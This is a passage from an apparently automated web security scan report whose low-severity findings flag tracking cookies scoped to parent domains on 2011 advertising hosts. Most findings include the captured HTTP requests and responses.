rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsXw5s0dSDKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ1W8ZQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/
rtc_m5QX=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BZwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjbggiQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/99829846.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F0%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHYzv09cAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRKu8Eg==; rtc_HO4o=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ0BewogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjegghw==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_HO4o=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsXw5s0dSDKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ1W8ZQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/
Set-Cookie: rtc_m5QX=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BZwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjbggiQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 11:03:51 GMT

GIF89a.............!.......,...........D..;

14.62. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw3s01cDKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRX68EA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/
rtc_6acg=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIht2RnSQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Tour.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXUwvkleBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR3e8AQ==; rtc_K3mi=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_K3mi=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw3s01cDKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRX68EA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/
Set-Cookie: rtc_6acg=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIht2RnSQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:35:36 GMT

GIF89a.............!.......,...........D..;

14.63. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCu3QzuU9aAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRTu8Fg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/
rtc_1gwk=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcKIgsZ1nfA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Job-Interview-Tips
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtBuHkxtUJRAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR368AQ==; rtc_9zEm=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_9zEm=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCu3QzuU9aAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRTu8Fg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/
Set-Cookie: rtc_1gwk=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcKIgsZ1nfA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:22:06 GMT

GIF89a.............!.......,...........D..;

14.64. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXQ9tkldBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRQC8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/
rtc_7T0-=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lJtlR8qmZ5EYm2QQMyGpObby6k1VtBuHkxvUNZCKjYPZg3Dc9LyTfYmP4bXjGyehRIFdQ==; NETID01=f6600bc0a97556506df2daf333d9f1f4; rtc_lFjz=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFYGEiEXDN; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_Sq60="MLs3rM9rsF9jIDGyCCr68+E43bKKIQzofbHKUycFuiMolVlcSfrsqkZ+Z6UThu5tZQgifX9CYnVFdkN0LtICJdxUgfTqk8dTU46grwhE8sqSLw67Xds37aqjtw/xs28qd4mC389YCTl2FjkvZEFlJR662CLdEvXK0EA2eiLvfOT0C68a513yCwd83ssE3yy0RUHQ"; rsi_us_1000000="pUMd5U+g/xMULsTCu+k7bfIrtGMDbzRzzkW+j0sg3sjUyWaep96tEenUjNvg1McP7XQGcbhvUsZr2/wICfep8r8+Z1kpCTaZGjhpzFNVVUPiKONPBFkYAGW1FsrY2w2QMBnKG+uiD1bqKnUIyR3U9TFhZxtDO1cs4s2/TMucN3ejUNU1Wq1K/DiYuTfSky3vqihuWgnkz7/CQIA7VGr1mKd7hwWPkd9c1Tt0BcoHHCccsWYKOLIDzaEtRhqSudfjxBL9kMEoxoE2el5fXBJWOSRHZ/ekF0yUoSseNFi8DODxgleUVzwtx1bvCh7bZqSdOcsgJfbBZZR27zA2YPew4FGSJeByimEoUpBrwXmT4AvuAhepAyWhS09/CA5FqJZQ7UlRvEJ4AdLI2bkKvjZAwk6jOcl0kOPr/CwI6YrtzHKdz9tE9WAyT6rK9jXvhI7Et50Wkios0oyp29KA+q2al3mMrASZ8QY6ubrqMrI4EwSmMfDPz7DamgfIJ1ayCN4Y/1G37QCHH8ygYbWm/FS2Ks4e3rGrWWEQn8+7u1nNfvs3nUbNc8FT7BDexz+ceGqhcRI/TGSipplJ+fxAgTUuQzxgeLHjbiWJh/I7gQRwhXmM6zNMJY4JAn/rO2O1vDhgb7mg0vmBVFeWw0KuNpKzKiLCBkUuky+WiE/9jHVlHSv6H9uGv7g1GjHJQSGyxwPjpUxfkTT8J/60Fwn61IisacYy3b3eWK/zFM/UbsgEkjM3MA=="

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_lFjz=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXQ9tkldBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRQC8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/
Set-Cookie: rtc_7T0-=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:16:51 GMT

GIF89a.............!.......,...........D..;

14.65. http://server.iad.liveperson.net/hc/10599399/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

LivePersonID=-16101514677756-1305377540:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:21 GMT; path=/hc/10599399; domain=.liveperson.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.66. http://server.iad.liveperson.net/hc/44533531/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

LivePersonID=LP i=16101514677757,d=1305377522; expires=Sun, 13-May-2012 12:52:02 GMT; path=/; domain=.liveperson.net
LivePersonID=-16101514677757-1305377522:0; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net
LivePersonID=-16101514677757-1305377522:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

14.67. http://traffic.outbrain.com/network/redir previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://traffic.outbrain.com
Path:	/network/redir

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:16:08 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:16:08 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3 HTTP/1.1
Host: traffic.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
